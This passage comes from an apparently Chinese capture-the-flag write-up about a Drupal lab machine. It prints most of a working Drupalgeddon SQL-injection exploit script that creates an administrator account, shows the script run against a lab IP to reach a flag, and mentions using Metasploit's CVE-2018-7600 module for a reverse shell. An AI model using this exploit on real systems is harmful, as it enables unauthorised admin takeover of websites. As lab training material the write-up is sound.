                   https://twitter.com/homelabit
                 https://plus.google.com/+HomelabIt1/
       https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww

"""

commandList = optparse.OptionParser('usage: %prog -t http[s]://TARGET_URL -u USER -p PASS\n')
commandList.add_option('-t', '--target',
                  action="store",
                  help="Insert URL: http[s]://www.victim.com",
                  )
commandList.add_option('-u', '--username',
                  action="store",
                  help="Insert username",
                  )
commandList.add_option('-p', '--pwd',
                  action="store",
                  help="Insert password",
                  )
options, remainder = commandList.parse_args()

# Check args
if not options.target or not options.username or not options.pwd:
    print(banner)
    print
    commandList.print_help()
    sys.exit(1)

print(banner)

host = options.target
user = options.username
password = options.pwd

hash = DrupalHash("$S$CTo9G7Lx28rzCfpn4WB2hUlknDKv6QTqHaf82WLbhPT2K5TzKzML", password).get_hash()

target = urldrupal(host)


# Add new user:
# insert into users (status, uid, name, pass) SELECT 1, MAX(uid)+1, 'admin', '$S$DkIkdKLIvRK0iVHm99X7B/M8QC17E1Tp/kMOd1Ie8V/PgWjtAZld' FROM users
#
# Set administrator permission (rid = 3):
# insert into users_roles (uid, rid) VALUES ((SELECT uid FROM users WHERE name = 'admin'), 3)
#
post_data = "name[0%20;insert+into+users+(status,+uid,+name,+pass)+SELECT+1,+MAX(uid)%2B1,+%27"+user+"%27,+%27"+hash[:55]+"%27+FROM+users;insert+into+users_roles+(uid,+rid)+VALUES+((SELECT+uid+FROM+users+WHERE+name+%3d+%27"+user+"%27),+3);;#%20%20]=test3&name[0]=test&pass=shit2&test2=test&form_build_id=&form_id=user_login_block&op=Log+in"

UA = randomAgentGen()
try:
    req = urllib2.Request(target, post_data, headers={ 'User-Agent': UA })
    content = urllib2.urlopen(req).read()

    if "mb_strlen() expects parameter 1" in content:
        print "[!] VULNERABLE!"
        print
        print "[!] Administrator user created!"
        print
        print "[*] Login: "+str(user)
        print "[*] Pass: "+str(password)
        print "[*] Url: "+str(target)

    else:
        print "[X] NOT Vulnerable :("

except urllib2.HTTPError as e:

    print "[X] HTTP Error: "+str(e.reason)+" ("+str(e.code)+")"

except urllib2.URLError as e:

    print "[X] Connection error: "+str(e.reason)   
commandList = optparse.OptionParser('usage: %prog -t http[s]://TARGET_URL -u USER -p PASS\n')

根据这条代码可以知道POC的使用方法,运行脚本,可以向服务器注入一条用户

python 34992.py -t http://172.20.10.4 -u xiaolu -p 123456

用户添加成功

登录成功

找到flag3

2)Drupal Core Critical Remote Code Execution Vulnerability(SA-CORE-2018-002) (Active Check)CVE-2018-7600

这里使用metaploits工具

启动metaploits

msf6 > use CVE-2018-7600

使用CVE-2018-7600攻击载荷

设置目标主机与目标端口

设置反弹shell接收端口,exploit开炮

 拿到目标主机shell

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